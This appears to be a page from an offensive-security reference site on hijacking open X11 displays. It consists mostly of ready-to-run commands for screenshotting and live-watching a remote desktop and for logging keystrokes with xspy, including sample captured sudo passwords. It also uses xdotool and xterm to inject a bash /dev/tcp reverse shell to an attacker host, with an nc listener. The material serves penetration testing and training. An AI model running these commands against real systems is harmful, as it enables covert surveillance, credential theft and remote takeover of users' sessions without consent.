# X11 Session Hijacking

> Exploit unauthenticated X11 displays to capture keystrokes, screenshots, and spawn interactive shells by abusing open DISPLAY sockets.

- **URL:** https://hackindex.io/services/x11/exploitation/x11-session-hijacking
- **Path:** X11 > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/x11/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

An open X11 display allows full interaction with the remote desktop session: capturing screenshots, recording keystrokes, and injecting mouse/keyboard input. This turns display access into command execution as the logged-in user without needing credentials. Confirm access first through [X11 open display enumeration](https://hackindex.io/services/x11/enumeration/x11-open-display-enumeration).

## Screenshot Capture

`xwd` dumps the root window (entire screen) to an XWD image file. Convert it to PNG for viewing.

**Capture the full screen**

```bash
xwd -root -display $TARGET_IP:0 -out screenshot.xwd
```

**Convert to PNG for viewing**

```bash
convert screenshot.xwd screenshot.png
```

## Live Screen Watching

`xwatchwin` streams a live view of the remote display, updated in real time. Useful for monitoring user activity and waiting for credential entry.

```bash
xwatchwin $TARGET_IP:0 -w root
```

## Keylogging

`xspy` registers for keyboard events on the remote X server and logs every keystroke the user types, including passwords and sudo prompts.

```bash
xspy -display $TARGET_IP:0
# sudo su -
# P@ssw0rd123
# cat /etc/shadow
```

`xspy` may not be installed by default on Kali. Install it with `apt install xspy` or compile from source. Alternative: use `xinput` to list devices and monitor keyboard events.

## Command Injection via xdotool

`xdotool` synthesizes keyboard and mouse events on the remote display. Combined with a terminal window, this turns display access into command execution as the logged-in user.

**Open a terminal on the remote display**

```bash
DISPLAY=$TARGET_IP:0 xdotool key --clearmodifiers ctrl+alt+t
```

**Type a reverse shell command into the remote terminal**

```bash
DISPLAY=$TARGET_IP:0 xdotool type --clearmodifiers 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
DISPLAY=$TARGET_IP:0 xdotool key Return
```

**Start listener before injecting the reverse shell**

```bash
nc -lvnp $LPORT
```

If the desktop environment does not respond to Ctrl+Alt+T, use `xdotool` to type a command that opens a terminal explicitly:

**Alternative: spawn xterm directly**

```bash
DISPLAY=$TARGET_IP:0 xterm -e 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' &
```

## Window Enumeration

List all open windows on the remote display to identify what applications the user has running.

```bash
DISPLAY=$TARGET_IP:0 xdotool search --name '' getwindowname
# Terminal - user@target:~
# Firefox
# Files
```

## References

- [Hacking Articles: Penetration Testing on X11](https://www.hackingarticles.in/penetration-testing-on-x11-server/) - Screenshot capture, keylogging, and command injection walkthrough.
- [xdotool Man Page](https://linux.die.net/man/1/xdotool) - Keyboard and mouse event synthesis for X11 displays.
- [Infosec: Exploiting X11 Unauthenticated Access](https://resources.infosecinstitute.com/topic/exploiting-x11-unauthenticated-access/) - X11 exploitation techniques with xwd, xspy, and xdotool.